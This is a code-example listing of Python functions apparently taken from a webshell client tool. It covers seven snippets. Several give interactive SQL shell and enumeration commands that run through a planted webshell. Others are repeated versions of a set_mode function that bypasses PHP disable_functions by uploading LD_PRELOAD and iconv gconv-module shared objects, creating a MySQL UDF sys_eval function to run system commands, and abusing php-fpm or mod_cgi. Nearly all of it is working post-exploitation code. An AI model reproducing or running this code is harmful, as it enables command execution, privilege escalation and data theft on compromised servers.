Beispiel #1
0
def run():
    """
    db_shell

    Get a temporary sql shell of target system.
    """
    if (not gget("db_connected", "webshell")):
        print(color.red("Please run db_init command first"))
        return
    print(
        color.cyan(
            "Eenter interactive temporary sql shell...\n\nUse 'back' command to return doughnuts.\n"
        ))
    database = gget("db_dbname", "webshell")
    prompt = "mysql (%s) > "
    set_namespace("webshell", False, True)
    wordlist = gget("webshell.wordlist")
    readline.set_wordlist(NEW_SQL_WORDLIST)
    try:
        while gget("loop"):
            print(prompt % color.cyan(database), end="")
            command = readline()
            lower_command = command.lower()
            if (lower_command.lower() in ['exit', 'quit', 'back']):
                print()
                break
            if (command == ''):
                print()
                continue
            if (lower_command.startswith("use ") and len(lower_command) > 4):
                try:
                    temp_database = match("use ([^;]*);?",
                                          lower_command).group(1)
                    res = send(check_database(temp_database))
                    if ("Connect error" in res.r_text):
                        print("\n" + color.red(res.r_text.strip()) + "\n")
                    else:
                        database = temp_database
                        print("\n" + color.green(
                            f"Change current database: {database}") + "\n")
                except (IndexError, AttributeError):
                    print("\n" + color.red("SQL syntax error") + "\n")
            else:
                form = execute_sql_command(command, database)
                if (form == ''):
                    print("\n" +
                          color.red("Connection Error / SQL syntax error") +
                          "\n")
                else:
                    print(execute_sql_command(command, database))
    finally:
        gset("db_dbname", database, True, "webshell")
        readline.set_wordlist(wordlist)
Beispiel #2
0
def run():
    """
    db_dbs

    Output all databases.
    """
    if (not gget("db_connected", "webshell")):
        print(color.red("Please run db_init command first"))
        return
    print(execute_sql_command("show databases;", ""))
Beispiel #3
0
def run(table: str):
    """
    db_columns

    Output all columns of a table.

    eg: db_columns {table}
    """
    if (not gget("db_connected", "webshell")):
        print(color.red("Please run db_init command first"))
        return
    database = gget("db_dbname", "webshell")
    print(execute_sql_command(f"show columns from {table};", database))
Beispiel #4
0
def run(database: str = ""):
    """
    db_tables

    Output all tables of a database.

    eg: db_init {database=current_database}
    """
    if (not gget("db_connected", "webshell")):
        print(color.red("Please run db_init command first"))
        return
    database = database if database else gget("db_dbname", "webshell")
    print(execute_sql_command("show tables;", database))
Beispiel #5
0
def set_mode(mode: int, test: bool = False):
    if (mode == 4 and not gget("webshell.ld_preload_path", "webshell",
                               False)):  # ld_preload
        disable_func_list = gget("webshell.disable_functions", "webshell")
        if (not gget("webshell.ld_preload_path", "webshell", None)):
            filename = "/tmp/%s.so" % str(uuid4())
            ld_preload_func = send(get_detectd_ld_preload()).r_text.strip()
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "ld_preload",
                          "ld_preload_x86_64.so"), filename, True)
            if (not upload_result):
                return
            gset("webshell.ld_preload_path", filename, True, "webshell")
            gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")
            if ("putenv" in disable_func_list):
                print(color.red("\nputenv is disabled\n"))
                return False
            if (not ld_preload_func):
                print(color.red("\nNo ld_preload function!\n"))
                return False
    if (mode in mode_require_ext_dict):
        ext = mode_require_ext_dict[mode]
        res = send(get_detectd_ext(ext))
        if (not res):
            return False
        text = res.r_text.strip()
        if ("exist" not in text):
            print(color.red(f"\nNo {ext} extension\n"))
            return False
    if (mode == 8):  # udf
        if (gget("db_connected", "webshell")
                and gget("db_dbms", "webshell") == "mysql"):
            print(color.yellow(f"\nDetect plugin dir..."))
            plugin_dir_res = execute_sql_command(
                "show variables like '%plugin_dir%';", raw=True)
            if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1):
                plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\")
            else:
                print(color.red(f"\nCould not find plugin_dir"))
                return False
            print(color.yellow(f"\nMake plugin dir..."))
            phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % (
                plugin_dir, plugin_dir)
            res = send(phpcode)
            if (not res or "fail" in res.r_text):
                print(color.red(f"\nMake plugin dir failed!\n"))
                return False
            system = "windows" if (gget("webshell.iswin",
                                        "webshell")) else "linux"
            print("\nReference Information:",
                  gget("webshell.os_version", "webshell"))
            print("\nInput target system bits (32/64/exit): ", end="")
            bits = "64"
            _ = readline().strip()
            if (_ == "32"):
                bits = 32
            elif (_ in ["back", "exit", "quit"] or _ != "64"):
                return False
            udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so"
            udf_path = plugin_dir + "tmp" + udf_ext
            print(color.yellow(f"\nUpload {udf_ext[1:]}..."))
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "udf", "mysql",
                          system, bits, "lib_mysqludf_sys" + udf_ext),
                udf_path, True)
            if (not upload_result):
                print(color.red("\nUpload failed\n"))
                return
            gset("webshell.udf_path", udf_path, True, "webshell")
            print(color.yellow(f"\nCreate function sys_eval..."))
            execute_sql_command(
                f"create function sys_eval returns string soname 'tmp{udf_ext}'",
                raw=True)
            test_res = execute_sql_command("select sys_eval('whoami');",
                                           raw=True)
            if (len(test_res) > 1 and len(test_res[1][0])):
                print(color.green(f"\nCreate funtion success"))
            else:
                print(color.red(f"\nCreate funtion failed\n"))
                return False
        else:
            print(
                color.red(
                    f"\nNo connection to database or dbms isn't mysql\n"))
            return False
    if (not test):
        if (mode == 7):
            print(
                color.yellow(
                    f"\nYou may need to wait 1 second to get the result..\n"))
        print(
            f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n"
        )
        gset("webshell.bypass_df", mode, True, "webshell")
    return True
Beispiel #6
0
def set_mode(mode: int, test: bool = False):
    if (mode in mode_require_ext_dict):
        ext = mode_require_ext_dict[mode]
        res = send(get_detectd_ext(ext))
        if (not res):
            return False
        text = res.r_text.strip()
        if ("exist" not in text):
            print(color.red(f"\nNo {ext} extension\n"))
            return False
    if (mode == 4 and not gget("webshell.ld_preload_path", "webshell",
                               False)):  # ld_preload
        disable_func_list = gget("webshell.disable_functions", "webshell")
        if (not gget("webshell.ld_preload_path", "webshell", None)):
            filename = "/tmp/%s.so" % str(uuid4())
            ld_preload_func = send(get_detectd_ld_preload()).r_text.strip()
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "ld_preload",
                          "ld_preload_x86_64.so"), filename, True)
            if (not upload_result):
                return
            gset("webshell.ld_preload_path", filename, True, "webshell")
            gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")
            if ("putenv" in disable_func_list):
                print(color.red("\nputenv is disabled\n"))
                return False
            if (not ld_preload_func):
                print(color.red("\nNo ld_preload function!\n"))
                return False
    elif (mode == 8):  # udf
        if (gget("db_connected", "webshell")
                and gget("db_dbms", "webshell") == "mysql"):
            print(color.yellow(f"\nDetect plugin dir..."))
            plugin_dir_res = execute_sql_command(
                "show variables like '%plugin_dir%';", raw=True)
            if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1):
                plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\")
            else:
                print(color.red(f"\nCould not find plugin_dir"))
                return False
            print(color.yellow(f"\nMake plugin dir..."))
            phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % (
                plugin_dir, plugin_dir)
            res = send(phpcode)
            if (not res or "fail" in res.r_text):
                print(color.red(f"\nMake plugin dir failed!\n"))
                return False
            system = "windows" if (gget("webshell.iswin",
                                        "webshell")) else "linux"
            print("\nReference Information:",
                  gget("webshell.os_version", "webshell"))
            print("\nInput target system bits (32/64/exit): ", end="")
            bits = "64"
            _ = readline().strip()
            if (_ == "32"):
                bits = 32
            elif (_ in ["back", "exit", "quit"] or _ != "64"):
                return False
            udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so"
            udf_path = plugin_dir + "tmp" + udf_ext
            print(color.yellow(f"\nUpload {udf_ext[1:]}..."))
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "udf", "mysql",
                          system, bits, "lib_mysqludf_sys" + udf_ext),
                udf_path, True)
            if (not upload_result):
                print(color.red("\nUpload failed\n"))
                return
            gset("webshell.udf_path", udf_path, True, "webshell")
            print(color.yellow(f"\nCreate function sys_eval..."))
            execute_sql_command(
                f"create function sys_eval returns string soname 'tmp{udf_ext}'",
                raw=True)
            test_res = execute_sql_command("select sys_eval('whoami');",
                                           raw=True)
            if (len(test_res) > 1 and len(test_res[1][0])):
                print(color.green(f"\nCreate funtion success"))
            else:
                print(color.red(f"\nCreate funtion failed\n"))
                return False
        else:
            print(
                color.red(
                    f"\nNo connection to database or dbms isn't mysql\n"))
            return False
    elif (mode == 10):  # php-fpm
        res = send("print(php_sapi_name());")
        if (not res or "fpm" not in res.r_text):
            print(color.red(f"\nTarget php not run by php-fpm!\n"))
            return False
        requirements_dict = {
            'host': '127.0.0.1',
            'port': 9000,
            "php_file": "/usr/local/lib/php/PEAR.php"
        }
        for k, v in requirements_dict.items():
            new_v = input(f"{k}[{v}]:")
            if k == 'port':
                new_v = new_v if new_v else v
                try:
                    new_v = int(new_v)
                except ValueError:
                    print(color.red(f"\nPort must be number!\n"))
                    return False
            if new_v:
                requirements_dict[k] = new_v
        attack_type = input("attack_type[gopher/sock]:").lower()
        if (attack_type not in ["gopher", "sock"]):
            return False
        if (attack_type == "sock"):
            sock_path = "/var/run/php7-fpm.sock"
            new_v = input(f"sock_path[{sock_path}]:")
            if new_v:
                sock_path = new_v
            gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell")
        gset("webshell.bdf_fpm.host", requirements_dict["host"], True,
             "webshell")
        gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True,
             "webshell")
        gset("webshell.bdf_fpm.php_file", requirements_dict["php_file"], True,
             "webshell")
        gset("webshell.bdf_fpm.type", attack_type, True, "webshell")
    if (not test):
        if (mode == 7):
            print(
                color.yellow(
                    f"\nYou may need to wait 1 second to get the result..\n"))
        print(
            f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n"
        )
        gset("webshell.bypass_df", mode, True, "webshell")
    return True
Beispiel #7
0
def set_mode(mode: int, test: bool = False):
    if (mode in mode_require_ext_dict):
        ext = mode_require_ext_dict[mode]
        res = send(get_detectd_ext(ext))
        if (not res):
            return False
        text = res.r_text.strip()
        if ("exist" not in text):
            print(color.red(f"\nNo {ext} extension\n"))
            return False
    if (mode == 4 and not gget("webshell.ld_preload_path", "webshell",
                               False)):  # ld_preload
        if is_windows():
            print(color.red("\nNo ld_preload function!\n"))
            return False

        disable_funcs = gget("webshell.disable_functions", "webshell")

        # can't work if putenv is disabled
        if ("putenv" in disable_funcs):
            print(color.red("\nputenv is disabled\n"))
            return False

        # check if already set ld_preload
        if (not gget("webshell.ld_preload_path", "webshell", None)):
            filename = "/tmp/%s.so" % str(uuid4())
            # get ld_preload trigger function
            available_trigger_funcs = [
                'mail', 'error_log', 'mb_send_mail', 'imap_mail'
            ]
            ld_preload_funcs = [
                f for f in available_trigger_funcs if f not in disable_funcs
            ]
            if (not ld_preload_funcs):
                print(color.red("\nNo ld_preload function!\n"))
                return False
            ld_preload_func = choice(ld_preload_funcs)

            # get target architecture
            bits = gget("webshell.arch", namespace="webshell")
            if not bits:
                print("\nInput target system bits (32/64): ", end="")
                _ = readline().strip()
                if (_ == "32"):
                    bits = 32
                elif (_ == "64"):
                    bits = 64
                else:
                    print(color.red("\nUnknown bits\n"))
                    return False
            bits = str(bits)
            if bits == "32":
                bits = "86"
            # upload so
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "ld_preload",
                          "ld_preload_x" + bits + ".so"), filename, True)
            if (not upload_result):
                print(color.red("\nUpload error\n"))
                return

            gset("webshell.ld_preload_path", filename, True, "webshell")
            gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")

    elif (mode == 8):  # udf
        if (gget("db_connected", "webshell")
                and gget("db_dbms", "webshell") == "mysql"):
            # detect plugin dir
            print(color.yellow(f"\nDetect plugin dir..."))
            plugin_dir_res = execute_sql_command(
                "show variables like '%plugin_dir%';", raw=True)
            if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1):
                plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\")
            else:
                print(color.red(f"\nCould not find plugin_dir"))
                return False

            # make plugin dir
            print(color.yellow(f"\nMake plugin dir..."))
            phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % (
                plugin_dir, plugin_dir)
            res = send(phpcode)
            if (not res or "fail" in res.r_text):
                print(color.red(f"\nMake plugin dir failed!\n"))
                return False

            system = "windows" if is_windows() else "linux"
            print("\nReference Information:",
                  gget("webshell.os_version", "webshell"))

            bits = gget("webshell.arch", namespace="webshell")
            if not bits:
                print("\nInput target system bits (32/64): ", end="")
                _ = readline().strip()
                if (_ == "32"):
                    bits = 32
                elif (_ == "64"):
                    bits = 64
                elif (_ in ["back", "exit", "quit"]):
                    return False
                else:
                    print(color.red("\nUnknown bits\n"))
                    return False
            bits = str(bits)

            # upload so / dll
            udf_ext = ".dll" if is_windows() else ".so"
            udf_path = plugin_dir + "tmp" + udf_ext
            print(color.yellow(f"\nUpload {udf_ext[1:]}..."))
            upload_result = upload(path.join(gget("root_path"), "auxiliary",
                                             "udf", "mysql", system, bits,
                                             "lib_mysqludf_sys" + udf_ext),
                                   udf_path,
                                   force=True)
            if (not upload_result):
                print(color.red("\nUpload failed\n"))
                return
            gset("webshell.udf_path", udf_path, True, "webshell")

            # create function sys_eval
            print(color.yellow(f"\nCreate function sys_eval..."))
            execute_sql_command(
                f"create function sys_eval returns string soname 'tmp{udf_ext}'",
                raw=True)
            test_res = execute_sql_command("select sys_eval('whoami');",
                                           raw=True)
            if (len(test_res) > 1 and len(test_res[1][0])):
                print(color.green(f"\nCreate funtion success"))
            else:
                print(color.red(f"\nCreate funtion failed\n"))
                return False

        else:
            print(
                color.red(
                    f"\nNo connection to database or dbms isn't mysql\n"))
            return False
    elif (mode == 10):  # php-fpm
        res = send("print(php_sapi_name());")
        if (not res or "fpm" not in res.r_text):
            print(color.red(f"\nTarget php not run by php-fpm!\n"))
            return False
        requirements_dict = {'host': '127.0.0.1', 'port': 9000}
        attack_type = input(
            "attack_type[gopher(need curl extension)/sock/http_sock]:").lower(
            )
        if (attack_type not in ["gopher", "sock", "http_sock"]):
            return False

        gset("webshell.bdf_fpm.type", attack_type, True, "webshell")

        # input sock path
        if (attack_type == "sock"):
            sock_path = "/var/run/php7-fpm.sock"
            new_v = input(f"sock_path[{sock_path}]:")
            if new_v:
                sock_path = new_v
            gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell")
        else:
            # input fpm http host and port
            for k, v in requirements_dict.items():
                new_v = input(f"{k}[{v}]:")
                if k == 'port':
                    new_v = new_v if new_v else v
                    try:
                        new_v = int(new_v)
                    except ValueError:
                        print(color.red(f"\nport must be number\n"))
                        return False
                if new_v:
                    requirements_dict[k] = new_v
            gset("webshell.bdf_fpm.host", requirements_dict["host"], True,
                 "webshell")
            gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True,
                 "webshell")
    elif (mode == 11):  # apache-mod-cgi
        res = send("""$f=in_array('mod_cgi', apache_get_modules());
$f2=is_writable('.');
$f3=!empty($_SERVER['HTACCESS']);
if(!$f){
    die("Mod-Cgi not enabled");
} else if (!$f2) {
    die("Current directory not writable");
}
print("success");""")
        if (res.r_text != "success"):
            print(color.red(f"\n{res.r_text}\n"))
            return False
    elif (mode == 12 and
          not gget("webshell.ld_preload_path", "webshell", False)):  # iconv

        disable_funcs = gget("webshell.disable_functions", "webshell")

        # can't work if putenv is disabled
        if ("putenv" in disable_funcs):
            print(color.red("\nputenv is disabled\n"))
            return False

        # check if already set ld_preload
        if (not gget("webshell.iconv_path", "webshell", None)):
            filename = "/tmp/%s" % str(uuid4())

            # get target architecture
            bits = gget("webshell.arch", namespace="webshell")
            if not bits:
                print("\nInput target system bits (32/64): ", end="")
                _ = readline().strip()
                if (_ == "32"):
                    bits = 32
                elif (_ == "64"):
                    bits = 64
                else:
                    print(color.red("\nUnknown bits\n"))
                    return False
            bits = str(bits)
            if bits == "32":
                bits = "86"
            # upload so
            upload_result = upload(path.join(gget("root_path"), "auxiliary",
                                             "iconv",
                                             "iconv_x" + bits + ".so"),
                                   filename + ".so",
                                   force=True)
            if (not upload_result):
                print(color.red("\nUpload error\n"))
                return

            gconv_modules = f"""module  PAYLOAD//    INTERNAL    ../../../../../../../..{filename}    2
module  INTERNAL    PAYLOAD//    ../../../../../../../..{filename}    2"""
            send(
                f"file_put_contents('/tmp/gconv-modules', base64_decode('{base64_encode(gconv_modules)}'));"
            )

            gset("webshell.iconv_path", filename + ".so", True, "webshell")
            gset("webshell.iconv_gconv_modules_path", "/tmp/gconv-modules",
                 True, "webshell")
    if (not test):
        if (mode in (7, 10, 12)):
            print(
                color.yellow(
                    f"\nYou may need to wait 1 second to get the result..\n"))
        print(
            f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n"
        )
        gset("webshell.bypass_df", mode, True, "webshell")
    return True